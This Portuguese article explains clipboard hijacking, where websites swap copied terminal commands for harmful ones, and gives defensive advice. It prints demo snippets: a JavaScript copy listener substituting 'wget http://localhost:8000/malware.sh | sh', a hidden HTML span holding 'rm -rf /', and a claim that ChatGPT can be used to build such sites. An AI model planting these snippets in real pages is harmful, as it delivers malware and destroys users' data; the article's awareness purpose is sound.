Contents

Porque é que não se deve copiar e colar comandos da Internet

Dos computadores aos telemóveis, o copiar-colar está presente em todo o lado. Facilita a vida e poupa-lhe tempo, pois não tem de escrever comandos longos ou textos redundantes. No entanto, se não tivermos cuidado, podemos ser pirateados ao copiar e colar comandos no terminal do computador.

Vamos explorar as potenciais vulnerabilidades associadas à prática de duplicação e inserção de texto, bem como discutir as medidas de precaução que podem ser empregues para salvaguardar esses riscos?

Porque não deve copiar e colar comandos

Quer se trate de um utilizador inexperiente da interface de linha de comandos ou de um profissional proficiente, não é invulgar as pessoas recorrerem a copiar e colar comandos obtidos de fontes online como forma de acelerar o seu fluxo de trabalho e aumentar a produtividade. Embora esta abordagem possa parecer eficiente à primeira vista, é importante reconhecer que certos sites malévolos começaram a explorar esta prática, incorporando código nocivo nas caixas de texto copiadas, introduzindo assim sub-repticiamente malware nos sistemas de utilizadores desprevenidos quando estes inocentemente colam comandos nos seus terminais.

Para ocultar directivas malévolas, estes indivíduos nefastos empregaram uma série de técnicas enganadoras na sua implementação de front-end, transformando código aparentemente inócuo numa fachada para acções secretas e prejudiciais.

Executar o comando “sudo apt-get update && apt-get upgrade” é normalmente usado para atualizar o repositório e atualizar pacotes num sistema Linux. No entanto, é importante ter cuidado ao utilizar o prefixo “sudo”, uma vez que concede privilégios administrativos, o que pode potencialmente permitir a execução de código malicioso sem o conhecimento do utilizador. Por conseguinte, é essencial verificar a autenticidade de quaisquer comandos antes de os introduzir no terminal.

Numa situação terrível, é concebível que um derrube de sistemas inteiros ou um ataque de ransomware possa ocorrer como consequência. No entanto, quais são exatamente as tácticas utilizadas por estas entidades malévolas para executar tais acções? De que forma podem as directivas prejudiciais ser camufladas em código aparentemente inócuo?

Como funcionam as explorações de código malicioso

/pt/images/poc-of-exploit.jpg

Este ataque pode ser executado utilizando código JavaScript intrincadamente concebido ou mesmo sintaxe HTML fundamental. A linguagem JavaScript está equipada com um instrumento conhecido como “EventListener”, que permite a deteção e o tratamento de vários eventos que podem ocorrer num navegador Web, incluindo, entre outros, clicar num botão, submeter um formulário, mover o cursor, digitar teclas ou ajustar o tamanho da janela de visualização.

O EventListener é uma ferramenta essencial para permitir que as aplicações Web respondam adequadamente a ocorrências específicas iniciadas por acções do utilizador. Infelizmente, sabe-se que sites sem escrúpulos tiram partido desta funcionalidade benéfica, interceptando instâncias em que os utilizadores estão a copiar texto e, subsequentemente, substituindo-o por código prejudicial.

O código principal utilizado na criação da imagem de demonstração é o seguinte:

 <script>
document.addEventListener('copy', function(event) {
  event.preventDefault();
  const copiedText = "wget http://localhost:8000/malware.sh | sh";
  event.clipboardData.setData('text/plain', copiedText);
});
</script>

Aqui está uma demonstração que utiliza HTML simples sem necessitar de qualquer linguagem de script como o JavaScript:

 <p>
sudo apt-get install google-chrome-stable
<span style="color:white;font-size:0pt;">rm -rf /</span>

</p> 

A utilização de uma fonte branca impercetível esconde o comando nefasto “rm -rf /”, enquanto o emprego de um elemento de quebra de linha HTML ( ) permite que certos terminais executem automaticamente o conteúdo ao serem colados. Contrariamente à crença popular, não é necessária proficiência avançada em programação ou desenvolvimento web para perpetrar com sucesso um tal ciberataque; pelo contrário, é extremamente simples de realizar.

Apesar da falta de familiaridade com JavaScript ou desenvolvimento web, mesmo os utilizadores novatos podem utilizar o ChatGPT para desenvolver código nocivo. Ao fornecer informações estratégicas, indivíduos sem escrúpulos podem explorar vulnerabilidades no sistema, comprometendo efetivamente as suas medidas de segurança e direccionando-o para gerar sites maliciosos aproveitando essas fraquezas.

Como se pode proteger

/pt/images/blue-purple-coding.jpg

Embora não exista um método infalível para se proteger de ataques de código malicioso, é possível tomar certas precauções, como proibir a execução de JavaScript em sítios Web considerados potencialmente nocivos. No entanto, é importante notar que muitas aplicações Web modernas requerem JavaScript para funcionarem corretamente e, por isso, a sua desativação total pode prejudicar as capacidades de navegação.

Além disso, a abordagem das Folhas de Estilo em Cascata apresenta um desafio em termos de proteção contra scripts malévolos, uma vez que é utilizado código CSS legítimo, embora a sua intenção continue a ser prejudicial. Para se proteger eficazmente, a adesão a práticas fundamentais de higiene em linha e a vigilância são fundamentais.

Ao utilizar a linha de comando, é aconselhável ter cuidado ao navegar em links desconhecidos ou suspeitos. Para mitigar potenciais riscos de segurança, recomenda-se que os utilizadores verifiquem a autenticidade de quaisquer comandos obtidos de fontes externas, revendo-os numa aplicação de edição de texto antes de os executarem no ambiente do terminal. Ao aderir a repositórios de código fiáveis e bem estabelecidos, os indivíduos podem minimizar a probabilidade de introduzir código nocivo no seu sistema através de meios insuspeitos.

Além disso, certos emuladores de terminal, como o xfce4-terminal, estão equipados com medidas de segurança incorporadas para impedir a cópia e a colagem não autorizadas de comandos. Este recurso exibe uma notificação que descreve as ações específicas que serão executadas ao colar um comando no terminal. Para garantir que o seu terminal também possui esta funcionalidade, verifique a sua disponibilidade e active-a em conformidade.

A execução de código malicioso é altamente perigosa

Mesmo com um programa antivírus instalado, alguns tipos de software nocivo podem conseguir violar as defesas de segurança de um dispositivo. Por conseguinte, é essencial ter cuidado ao descarregar ou copiar qualquer código da Internet e tomar as precauções necessárias para se proteger contra potenciais ameaças.